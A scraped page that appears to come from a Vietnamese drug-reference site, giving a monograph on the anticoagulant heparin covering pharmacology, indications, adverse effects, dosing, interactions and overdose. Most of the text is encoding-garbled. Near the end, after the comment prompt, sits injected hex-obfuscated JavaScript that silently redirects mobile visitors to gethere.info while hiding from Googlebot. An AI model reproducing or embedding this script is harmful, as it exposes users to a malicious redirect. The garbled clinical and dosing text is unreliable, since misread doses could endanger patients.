HEPARIN Cha��ng A�A?ng mA?u.

HEPARIN Chống đông máu.

A�Tracuuthuoctay chia sa?� bA�i via??tA� HEPARIN Cha��ng A�A?ng mA?u.A�lA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c Heparin. PhA?ng vA� A�ia�?u tra�� huya??t kha��i tA�nh ma??ch sA?u; PhA?ng vA� A�ia�?u tra�� huya??t kha��i ngha??n ma??ch pha��i; Cha?? A�a�� tra�� lia��u lia�?u tha??p A�a�? phA?ng huya??t kha��i tA�nh ma??ch vA� ngha??n ma??ch pha��i sau A�a??i pha?�u thua?�t a�Y ng?�a�?i ba��nh cA? nguy c?? cao, thA� da�? cA? tia�?n sa�� huya??t kha��i ngha??n ma??ch vA� ng?�a�?i ba��nh ca?�n ba??t A�a��ng tha�?i gian dA�i sau pha?�u thua?�t, nha??t lA� ng?�a�?i tua��i ta�� 40 tra�Y lA?n; A�ia�?u tra�� ha�� tra�? trong nha��i mA?u c?? tim ca??p A�a�? gia??m nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch, A�a?�c bia��t a�Y ng?�a�?i ba��nh cA? nguy c?? cao thA� da�? ba�� sa��c, suy tim sung huya??t, loa??n nha��p kA�o dA�i (nha??t lA� rung nhA�), cA? nha��i mA?u c?? tim tr?�a��c A�A?

HEPARIN Cha��ng A�A?ng mA?u.

TA?n chung qua��c ta??: Heparin.

MA? ATC: B01A B01, C05B A03, S01X A14.

Loa??i thua��c: Cha��ng A�A?ng mA?u.

Da??ng thua��c vA� hA�m l?�a�?ng

CA?c mua��i th?�a�?ng dA?ng lA� heparin calci, heparin natri, heparin magnesi vA� heparin natri trong dextrose hoa?�c trong natri clorid. Ma��t sa�� dung da��ch cA? thA?m cha??t ba??o qua??n lA� alcol benzylic hoa?�c clorobutanol. Lia�?u bia�?u tha�� ba?�ng A�??n va�� hoa??t la��c heparin xA?c A�a��nh ba?�ng ph?�??ng phA?p A�a��nh l?�a�?ng sinh va?�t dA?ng cha??t A�a��i chia??u qua��c ta?? da��a vA�o sa�� A�??n va�� hoa??t tA�nh heparin trong 1 miligam.

a�?ng tiA?m la�? 1 ml, 2 ml, 2,5 ml, 3 ml, 5 ml, 10 ml vA� 30 ml hA�m l?�a�?ng

10, 100, 1000, 2500, 5000, 7500, 10000, 15000, 25000 vA� 40000 IU trong 1 ml.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

Heparin na��i sinh bA�nh th?�a�?ng ga??n va��i protein, lA� cha??t cha��ng A�A?ng mA?u cA? tA�nh acid ma??nh. Thua��c cA? tA?c da�?ng cha��ng A�A?ng mA?u ca?? trong vA� ngoA�i c?? tha�? thA?ng qua tA?c da�?ng lA?n antithrombin III (khA?ng thrombin). Cha??t nA�y cA? trong huya??t t?�??ng, lA�m ma??t hia��u la��c ca��a thrombin vA� cA?c ya??u ta�� A�A?ng mA?u A�A? hoa??t hA?a IXa, Xa, XIa, XIIa. Heparin ta??o pha��c va��i antithrombin III lA�m thay A�a��i ca??u trA?c phA?n ta�� antithrombin III (lA�m cho da�� ka??t ha�?p va��i thrombin). Pha��c nA�y thA?c A�a?�y nhanh pha??n a��ng antithrombin III – thrombin (vA� ca?? cA?c ya??u ta�� ka�? trA?n). Ka??t qua?? lA� cA?c ya??u ta�� A�A?ng mA?u trA?n ba�� ma??t tA?c da�?ng, do A�A? sa�� chuya�?n fibrinogen thA�nh fibrin vA� prothrombin thA�nh thrombin khA?ng A�?�a�?c tha��c hia��n. CA?c tA?c da�?ng nA�y ngA?n cha?�n ca�?c huya??t kha��i A�A? hA�nh thA�nh lan ra��ng. A?a�? cha��ng A�A?ng mA?u, heparin A�A?i ha�?i pha??i cA? A�a�� ma��c antithrombin III trong huya??t thanh. Thia??u ha�?t ya??u ta�� A�A?ng mA?u nh?� trong ba��nh gan, A�A?ng mA?u A�ra??i rA?c na��i ma??ch, cA? tha�? ca??n tra�Y tA?c da�?ng cha��ng A�A?ng mA?u ca��a heparin. A�Heparin khA?ng cA? hoa??t tA�nh tiA?u fibrin.

D?�a�?c A�a��ng ha�?c

Heparin khA?ng ha??p thu qua A�?�a�?ng tiA?u hA?a nA?n pha??i tiA?m tA�nh ma??ch, tiA?m truya�?n tA�nh ma??ch vA� tiA?m d?�a��i da. Heparin liA?n ka??t ra��ng rA?i va��i lipoprotein huya??t t?�??ng, khA?ng qua nhau thai vA� sa�?a ma??. TA?c da�?ng cha��ng A�A?ng mA?u A�a??t ma��c ta��i A�a sau vA�i phA?t tiA?m tA�nh ma??ch, sau 2 – 3 gia�? tiA?m truya�?n tA�nh ma??ch cha?�m vA� sau 2 – 4 gia�? tiA?m d?�a��i da. Na��a A�a�?i sinh ha�?c th?�a�?ng ta�� 1 – 2 gia�?, tuy nhiA?n cA? sa�� khA?c nhau gia�?a cA?c cA? tha�?, tA?ng theo lia�?u dA?ng vA� pha�? thua��c vA�o cha��c nA?ng gan tha?�n. Na??u suy gia??m cha��c nA?ng gan, tha?�n thA� na��a A�a�?i ca��a thua��c kA�o dA�i h??n, ng?�a�?c la??i na??u ngha??n ma??ch pha��i thA� na��a A�a�?i ca��a thua��c sa?? rA?t nga??n la??i. Heparin tha??i tra�� cha�� ya??u qua n?�a��c tia�?u d?�a��i da??ng chuya�?n hA?a, nh?�ng na??u dA?ng lia�?u cao thA� cA? ta��i 50% thua��c A�?�a�?c tha??i tra�� nguyA?n da??ng.

Cha�� A�a��nh thua��cA�HEPARIN

PhA?ng vA� A�ia�?u tra�� huya??t kha��i tA�nh ma??ch sA?u; PhA?ng vA� A�ia�?u tra�� huya??t kha��i ngha??n ma??ch pha��i; Cha?? A�a�� tra�� lia��u lia�?u tha??p A�a�? phA?ng huya??t kha��i tA�nh ma??ch vA� ngha??n ma??ch pha��i sau A�a??i pha?�u thua?�t a�Y ng?�a�?i ba��nh cA? nguy c?? cao, thA� da�? cA? tia�?n sa�� huya??t kha��i ngha??n ma??ch vA� ng?�a�?i ba��nh ca?�n ba??t A�a��ng tha�?i gian dA�i sau pha?�u thua?�t, nha??t lA� ng?�a�?i tua��i ta�� 40 tra�Y lA?n; A�ia�?u tra�� ha�� tra�? trong nha��i mA?u c?? tim ca??p A�a�? gia??m nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch, A�a?�c bia��t a�Y ng?�a�?i ba��nh cA? nguy c?? cao thA� da�? ba�� sa��c, suy tim sung huya??t, loa??n nha��p kA�o dA�i (nha??t lA� rung nhA�), cA? nha��i mA?u c?? tim tr?�a��c A�A?; A?ia�?u tra�� huya??t kha��i ngha??n A�a��ng ma??ch; PhA?ng huya??t kha��i a�Y pha�? na�? mang thai cA? kha?? nA?ng da�� ba�� huya??t kha��i; NgoA�i ra heparin cA?n dA?ng lA�m cha??t cha��ng A�A?ng mA?u trong truya�?n mA?u, tua?�n hoA�n ngoA�i c?? tha�? khi pha?�u thua?�t, tha?�n nhA?n ta??o vA� ba??o qua??n mA?u xA�t nghia��m.

Cha��ng cha�� A�a��nh thua��c HEPARIN

Ma?�n ca??m va��i heparin.

CA? va??t loA�t da�� cha??y mA?u, loA�t da?? dA�y vA� u A?c tA�nh.

Da�?a sa?�y thai, tra�� khi cA? kA?m theo A�A?ng mA?u na��i ma??ch.

Ba�� ra��i loa??n A�A?ng mA?u na?�ng, viA?m mA�ng trong tim nhia��m khua?�n, cha�?c dA? ta��y sa��ng hoa?�c quanh mA�ng ca��ng vA� phong ba?? giao ca??m.

CA?c ta��n th?�??ng, cha??n th?�??ng vA� pha?�u thua?�t a�Y tha?�n kinh trung ?�??ng, a�Y ma??t vA� a�Y tai (tuy nhiA?n lia�?u tha??p A�a�? da�� phA?ng huya??t kha��i thA� va?�n dA?ng).

Gia??m tia�?u ca?�u na?�ng a�Y cA?c ng?�a�?i ba��nh khA?ng cA? A�ia�?u kia��n lA�m A�a�?u A�a?�n cA?c xA�t nghia��m va�? A�A?ng mA?u (tha�?i gian A�A?ng mA?u, tha�?i gian cephalin) khi dA?ng heparin lia�?u A�a?�y A�a��.

Tha?�n tra�?ng

Gia??m tia�?u ca?�u, suy gan, tha?�n na?�ng vA� tha?�n tra�?ng A�a?�c bia��t va��i ng?�a�?i cao tua��i (na�? trA?n 60 tua��i).

DA?ng lia�?u cao cho ng?�a�?i ba��nh ma��i cA? pha?�u thua?�t.

Pha��i ha�?p va��i cA?c thua��c cA? a??nh h?�a�Yng ta��i cha��c nA?ng A�A?ng mA?u vA�/hoa?�c cha��c nA?ng tia�?u ca?�u nh?� cA?c salicylat vA� tA?ng nguy c?? cha??y mA?u.

Ng?�a�?i ba��nh cA? tia�?n sa�� da�� a��ng A�a?�c bia��t ng?�a�?i ba�� da�� a��ng va��i cA?c protein A�a��ng va?�t vA� ha�? ra??t cA? tha�? sa?? ba�� da�� a��ng va��i thua��c nA�y.

Ha��i cha��ng ca�?c mA?u tra??ng: Trong khi dA?ng heparin, cA? tha�? xua??t hia��n huya??t kha��i ma��i kA?m gia??m tia�?u ca?�u thA� pha??i nga��ng thua��c ngay.

Tha�?i ka�? mang thai

Heparin khA?ng qua nhau thai vA� cA? tha�? dA?ng lA�m thua��c cha��ng A�A?ng mA?u trong tha�?i ka�? nA�y vA� khA?ng a??nh h?�a�Yng A�a??n c?? cha?? A�A?ng mA?u ca��a thai. Tuy va?�y, ca?�n tha?�n tra�?ng khi dA?ng heparin trong 3 thA?ng cua��i ca��a thai ka�? vA� trong tha�?i ka�? sau khi A�a?� do tA?ng nguy c?? xua??t huya??t ca��a ma??.

Tha�?i ka�? cho con bA?

Heparin khA?ng phA?n ba�� vA�o sa�?a ma?? nA?n khA?ng nguy hia�?m cho tra?� bA? ma??, nh?�ng cA? ma��t sa�� hia??m bA?o cA?o gA?y loA?ng x?�??ng nhanh (trong vA?ng 2 – 4 tua?�n) hoa?�c xa??p A�a��t sa��ng a�Y cA?c bA� ma?? dA?ng heparin trong tha�?i kA� nA�y.

TA?c da�?ng khA?ng mong mua��n (ADR)

Xa??p xa�� 10% ng?�a�?i ba��nh dA?ng heparin cA? ADR. CA?c ra��i ro tA?ng theo lia�?u dA?ng vA� tha�?i gian dA?ng thua��c. Bia??n cha��ng na?�ng nha??t lA� cha??y mA?u: Chia??m 1 – 5% sa�� ng?�a�?i ba��nh A�ia�?u tra�� na��i khoa huya??t kha��i tA�nh ma??ch a�Y sA?u vA� ngha??n ma??ch pha��i, 20% sa�� ng?�a�?i ba��nh A�ia�?u tra�� trong pha?�u thua?�t. Na??u dA?ng heparin da�� phA?ng huya??t kha��i trong pha?�u thua?�t thA� cha??y mA?u chia??m ta��i 6%. Nguy c?? loA?ng x?�??ng cA�ng tA?ng lA?n na??u A�ia�?u tra�� kA�o dA�i trA?n 2 thA?ng. Gia??m tia�?u ca?�u do heparin qua c?? cha?? mia��n da��ch ka??t ha�?p va��i huya??t kha��i A�a��ng ma??ch lA� ma��t bia??n cha��ng cA? ta�� la�� d?�a��i 1% (ha��i cha��ng ca�?c mA?u tra??ng). Gia??m tia�?u ca?�u nha?? th?�a�?ng khA?ng cA? A? nghA�a lA?m sA�ng.

Th?�a�?ng ga?�p, ADR > 1/100

MA?u: Cha??y mA?u, xua??t huya??t A�a?�c bia��t lA� xua??t huya??t tiA?u hA?a, gia??m tia�?u ca?�u.

Gan: TA?ng transaminase nha??t tha�?i.

A?t ga?�p, 1/1000 < ADR < 1/100

KhA?ng tha??y.

Hia??m ga?�p, ADR < 1/1000

ToA�n thA?n: Da�� a��ng vA� choA?ng pha??n va�� bao ga��m: Thay A�a��i mA�u sa??c da ma?�t, ban da, nga��a, tha�Y nhanh khA?ng A�a�?u, phA? na�? mi ma??t hoa?�c quanh ma??t, ha?? huya??t A?p vA� tra�?y tim ma??ch.

Na��i tia??t: a�?c cha?? aldosteron, gA?y loA?ng x?�??ng.

Da: Ra�?ng tA?c na??t tha�?i, mA�y A�ay.

TiA?m ba??p: Ta�? mA?u trong c??.

H?�a��ng da?�n cA?ch xa�� trA� ADR

Na??u xua??t huya??t nha?? thA� cha�� ca?�n nga��ng heparin lA� ha??t, cA?n na??u cha??y mA?u na?�ng thA� pha??i tiA?m tA�nh ma??ch cha?�m protamin sulfat thA� ma��i gia??m A�?�a�?c tA?c da�?ng pha�? nA�y.

Na??u tha??y gia??m tia�?u ca?�u nha?? vA�o ngA�y A�ia�?u tra�� tha�� 2 – 4, cA? tha�? A�a�? khi tia??p ta�?c A�ia�?u tra��. Na??u tia�?u ca?�u gia??m nhia�?u, nha??t lA� cA? kA?m theo huya??t kha��i ma��i hoa?�c xua??t huya??t thA� pha??i nga��ng heparin ngay. Gia??m tia�?u ca?�u na?�ng th?�a�?ng xa??y ra vA�o ngA�y A�ia�?u tra�� tha�� 8.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

CA?ch dA?ng:

Thua��c A�a�? tiA?m tA�nh ma??ch (tiA?m giA?n A�oa??n hoa?�c nha�? gia�?t liA?n ta�?c), hoa?�c A�a�? tiA?m d?�a��i da sA?u (trong la��p ma�?). Pha??i kia�?m tra thua��c ba?�ng ma??t tr?�a��c

khi dA?ng.

Lia�?u l?�a�?ng heparin pha??i A�?�a�?c A�ia�?u cha��nh theo ka??t qua?? test A�A?ng mA?u (nh?�: Tha�?i gian cephalin-kaolin (APTT), hay tha�?i gian Howell).

Khi tiA?m tA�nh ma??ch giA?n A�oa??n: XA�t nghia��m tha�?i gian A�A?ng mA?u pha??i lA�m tr?�a��c ma��i la?�n tiA?m trong giai A�oa??n A�a?�u A�ia�?u tra��.

Khi tiA?m nha�? gia�?t liA?n ta�?c, xA�t nghia��m tha�?i gian A�A?ng mA?u pha??i A�?�a�?c xA?c A�a��nh 4 gia�?/1 la?�n trong giai A�oa??n A�a?�u A�ia�?u tra��.

Na??u tiA?m d?�a��i da sA?u, xA�t nghia��m tha�?i gian A�A?ng mA?u lA�m 4 – 6 gia�? sau

khi tiA?m.

Pha??i duy trA� tha�?i gian cephalin – kaolin ga??p 1,5 A�a??n 2 la?�n bA�nh th?�a�?ng hoa?�c tha�?i gian Howell ga??p khoa??ng 2,5 A�a??n 3 la?�n tra�� sa�� A�a?�u tiA?n.

A?a��nh ka�? A�a??m tia�?u ca?�u, hematocrit vA� tA�m mA?u trong phA?n trong sua��t tha�?i gian A�ia�?u tra�� heparin.

HEPARIN

 

Heparin cA? nhia�?u loa??i, mua��i calci hoa?�c mua��i natri, tA?c da�?ng khA?ng khA?c

nhau.

Lia�?u bia�?u tha�� theo A�??n va�� qua��c ta?? hoa?�c A�??n va�� USP. A???n va�� USP vA� A�??n va�� qua��c ta?? (IU) tuy khA?ng tha��c sa�� t?�??ng A�?�??ng nh?�ng va�? c?? ba??n lia�?u dA?ng gia��ng nhau.

Chuya�?n sang thua��c ua��ng cha��ng A�A?ng mA?u (loa??i coumarin hoa?�c t?�??ng ta��):

Pha??i lA�m xA�t nghia��m tha�?i gian prothrombin khoa??ng 5 gia�? sau mA�i tiA?m tA�nh ma??ch cua��i cA?ng hoa?�c 24 gia�? sau lia�?u tiA?m d?�a��i da cua��i cA?ng. Na??u tiA?m tA�nh ma??ch nha�? gia�?t, cA? tha�? lA�m xA�t nghia��m tha�?i gian prothrombin ba??t ca�� lA?c nA�o. A?a�? ba??o A�a??m cha��ng A�A?ng mA?u liA?n ta�?c, nA?n tia??p ta�?c A�ia�?u tra�� heparin va��i lia�?u A�a?�y A�a�� trong vA�i ngA�y sau khi tha�?i gian prothrombin A�A? A�a??t A�?�a�?c ma��c A�ia�?u tra��.

Lia�?u l?�a�?ng

Ng?�a�?i la��n

PhA?ng huya??t kha��i ta??c tA�nh ma??ch sau ha?�u pha?�u:

DA?ng 5000 A�vqt tiA?m d?�a��i da 2 gia�? tr?�a��c khi pha?�u thua?�t, sau A�A? 5000 A�vqt, 2 – 3 la?�n trong 24 gia�? cho ta��i khi ng?�a�?i ba��nh A�i la??i A�?�a�?c, A�t nha??t 7 ngA�y sau pha?�u thua?�t. A?a��i va��i pha?�u thua?�t cha��nh hA�nh la��n, hoa?�c ba��nh khA?c cA? nguy c?? cao: 3500 A�vqt cA?ch nhau 8 gia�?/1 la?�n, A�ia�?u cha��nh lia�?u na??u ca?�n A�a�? gia�? tha�?i gian cephalin – kaolin a�Y ma��c cao ca��a tra�� sa�� bA�nh th?�a�?ng (ga??p 1,5 A�a??n 2,5 la?�n sa�� lia��u bA�nh th?�a�?ng).

A?ia�?u tra�� huya??t kha��i ta??c tA�nh ma??ch a�Y sA?u:

TiA?m tA�nh ma??ch A�a?�u tiA?n 5000 A�vqt/lia�?u tiA?m tA�nh ma??ch, sau A�A? 30000 – 35000 A�vqt trong 24 gia�? nha�? gia�?t tA�nh ma??ch liA?n ta�?c, hoa?�c truya�?n nha�? gia�?t liA?n ta�?c 1000 – 2000 A�vqt ma��i gia�? hoa?�c tiA?m d?�a��i da 15000 A�vqt, cA?ch 12 gia�?/la?�n, lia�?u A�?�a�?c A�ia�?u cha��nh A�a�? duy trA� tha�?i gian cephalin hoa??t hA?a a�Y ma��c ga??p 1,5 – 2,5 la?�n ma��c bA�nh th?�a�?ng. Hoa?�c tiA?m d?�a��i da sA?u 25000 A�vqt, cA?ch nhau 12 gia�?/1 la?�n trong 2 ngA�y, sau A�A? 12500 A�vqt cA?ch nhau 12 gia�?/1 la?�n trong 3 ngA�y, vA� sau A�A? 12500 A�vqt ma��i ngA�y 1 la?�n trong 2 ngA�y. Ng?�a�?i ba��nh cA? tha�? tra�?ng trA?n 85 kg cA? tha�? pha??i ca?�n A�a??n 25000 A�vqt cA?ch nhau 12 gia�?/1 la?�n trong 4 ngA�y (khA?ng pha??i 2

ngA�y).

Hoa?�c tiA?m truya�?n liA?n ta�?c 50 – 100 A�vqt/kg ban A�a?�u, sau A�A? 15 – 25 A�vqt/kg/gia�?; hoa?�c 5000 A�vqt ban A�a?�u sau A�A? 1000 A�vqt/gia�?. Tha�?i gian A�ia�?u tra�� viA?m ta??c tA�nh ma??ch hoa?�c ngha??n ma??ch pha��i ta�� 7 – 10 ngA�y, tia??p theo cha��ng A�A?ng ba?�ng A�?�a�?ng ua��ng (nA?n ba??t A�a?�u trong vA?ng 24 gia�? A�a?�u lia��u phA?p heparin).

Tra?� em

Lia�?u na??p A�a?�u tiA?n: 50 – 75 A�vqt/kg tha�? tra�?ng, tiA?m tA�nh ma??ch 1 la?�n.

Duy trA�:

Nha�? gia�?t tA�nh ma??ch liA?n ta�?c: Tra?� d?�a��i 1 tua��i: 28 A�vqt/kg tha�? tra�?ng/gia�?; tra?� trA?n 1 tua��i: 20 A�vqt/kg tha�? tra�?ng/gia�?.

TiA?m tA�nh ma??ch giA?n A�oa??n: 100 A�vqt/kg tha�? tra�?ng/lia�?u cA?ch 4 gia�? 1 la?�n. A?ia�?u cha��nh lia�?u A�a�? duy trA� tha�?i gian cephalin – kaolin hoa?�c tha�?i gian Howell ga??p 1,5 – 2,5 la?�n tha�?i gian bA�nh th?�a�?ng.

Tia??p ta�?c A�ia�?u tra�� thA?m 48 gia�? sau khi ba��nh a��n A�a��nh. A?a�?t A�ia�?u tra�� th?�a�?ng

lA� 5 – 7 ngA�y.

Truya�?n mA?u: A?a�? cha��ng A�A?ng mA?u cho 400 – 600 A�vqt heparin trong 100 ml mA?u toA�n pha?�n.

La??y ma?�u xA�t nghia��m: ThA?m 70 – 150 A�vqt heparin natri vA�o 100 ml mA?u lA�m xA�t nghia��m A�a�? A�a�? phA?ng A�A?ng mA?u.

T?�??ng tA?c thua��cA�NA?n trA?nh pha��i ha�?p heparin va��i cA?c thua��c cA? a??nh h?�a�Yng A�a??n ka??t ta?�p tia�?u A�ca?�u nh?� aspirin, dextran, phenylbutazon, ibuprofen, indomethacin, A�dipyridamol, hydroxycloroquin… cA? tha�? gA?y cha??y mA?u. Na??u ba??t bua��c

pha??i dA?ng, ca?�n theo dA�i lA?m sA�ng vA� xA�t nghia��m cha?�t cha??.

Heparin cA? tha�? kA�o dA�i tha�?i gian prothrombin. VA� va?�y khi dA?ng heparin cA?ng va��i cA?c thua��c cha��ng A�A?ng mA?u nh?� coumarin hoa?�c warfarin, pha??i cha�? A�t nha??t 5 gia�? sau khi tiA?m tA�nh ma??ch lia�?u cua��i cA?ng hoa?�c 24 gia�? sau lia�?u tiA?m d?�a��i da cua��i cA?ng thA� mA?u la??y A�a�? xA�t nghia��m tha�?i gian prothrombin ma��i cA? giA? tra��.

Digitalis, tetracyclin, cA?c khA?ng histamin, nicotin, r?�a�?u, cA?c penicilin vA� cephalosporin, diazepam, propranolol, quinidin, verapamin cA? tha�? lA�m gia??m ma��t pha?�n tA?c da�?ng cha��ng A�A?ng mA?u ca��a heparin. VA� va?�y, cA? tha�? pha??i A�ia�?u cha��nh lia�?u l?�a�?ng heparin trong vA� sau khi pha��i ha�?p thua��c.

Tha?�n tra�?ng khi dA?ng corticoid kA?m va��i heparin do tA?ng nguy c?? cha??y mA?u. Via��c pha��i ha�?p pha??i xA?c A�A?ng vA� A�?�a�?c theo dA�i cha?�t cha??.

A?a�� a��n A�a��nh vA� ba??o qua??n

KhA?ng A�?�a�?c dA?ng dung da��ch heparin khi A�A? va?�n A�a�?c hoa?�c chuya�?n mA�u. Ma��t sa�� nghiA?n ca��u cho tha??y heparin ba�� gia??m hoa??t tA�nh khi pha loA?ng va��i dextrose 5% vA� khA?ng dA?ng dung da��ch nA�y trong vA?ng 24 gia�?, hoa?�c khi A�a��ng cA?c dung da��ch heparin pha loA?ng va��i ba??t ca�� dung mA?i nA�o trong la�? tha��y tinh.

Ba??o qua??n a�Y nhia��t A�a�� d?�a��i 400C, ta��t nha??t lA� ta�� 15 – 300C vA� trA?nh A�a�? A�A?ng la??nh.

T?�??ng ka��

Heparin cA? tA�nh acid ma??nh, t?�??ng ka�� va��i nhia�?u dung da��ch cha��a A�a��m phosphat, natri carbonat, hoa?�c natri oxalat. VA� va?�y khA?ng A�?�a�?c tra��n la?�n heparin hoa?�c tiA?m vA�o tA�nh ma??ch cA?ng va��i cA?c thua��c khA?c tra�� khi bia??t rA� chA?ng t?�??ng ha�?p va��i nhau.

Heparin cA�ng ba�� ma??t hoa??t tA�nh trong cha??y tha?�n nhA?n ta??o vA� cA?c ion calci, magnesi, acetat cA? trong da��ch tha?�m tA?ch.

QuA? lia�?u vA� xa�� trA�

Tria��u cha��ng:

Cha�� ya??u lA� cha??y mA?u, chA?y mA?u cam, cA? mA?u trong n?�a��c tia�?u, phA?n A�en lA� da??u hia��u A�a?�u tiA?n cha??y mA?u. Da�� ba?�m tA�m, hoa?�c A�a��m xua??t huya??t cA? tha�? tha??y tr?�a��c cha??y mA?u rA� rA�ng.

Xa�� trA�:

Na??u quA? lia�?u nha?? thA� cha�� ca?�n nga��ng dA?ng heparin. Na??u na?�ng thA� pha??i dA?ng protamin sulfat A�a�? trung hA?a heparin. Ca�� 1 mg protamin sulfat thA� trung hA?a A�?�a�?c xa??p xa�� 80 A�vqt heparin pha��i bA? hoa?�c 100 A�vqt heparin rua��t la�?n. Th?�a�?ng dA?ng protamin tiA?m cha?�m vA�o tA�nh ma??ch va��i lia�?u khA?ng quA? 50 mg trong 10 – 15 phA?t (ca?�n xem chuyA?n lua?�n protamin sulfat A�a�? bia??t thA?m chi tia??t).

Va��i cA?c tr?�a�?ng ha�?p cha??y mA?u na?�ng thA� pha??i truya�?n mA?u toA�n pha?�n hoa?�c huya??t t?�??ng. Nh?� va?�y cA? tha�? pha loA?ng nh?�ng khA?ng trung hA?a A�?�a�?c tA?c da�?ng ca��a heparin.

ThA?ng tin qui cha??

Heparin cA? trong danh ma�?c thua��c thia??t ya??u Via��t Nam ban hA�nh la?�n tha�� t?� nA?m 1999.

HEPARIN Cha��ng A�A?ng mA?u. HEPARIN Cha��ng A�A?ng mA?u. HEPARIN Cha��ng A�A?ng mA?u.

Ngua��n d?�a�?c th?� qua��c gia

 

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t HEPARIN Cha��ng A�A?ng mA?u.A�A�chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

One thought on “HEPARIN Cha��ng A�A?ng mA?u.

  1. Huỳnh Kiều says:

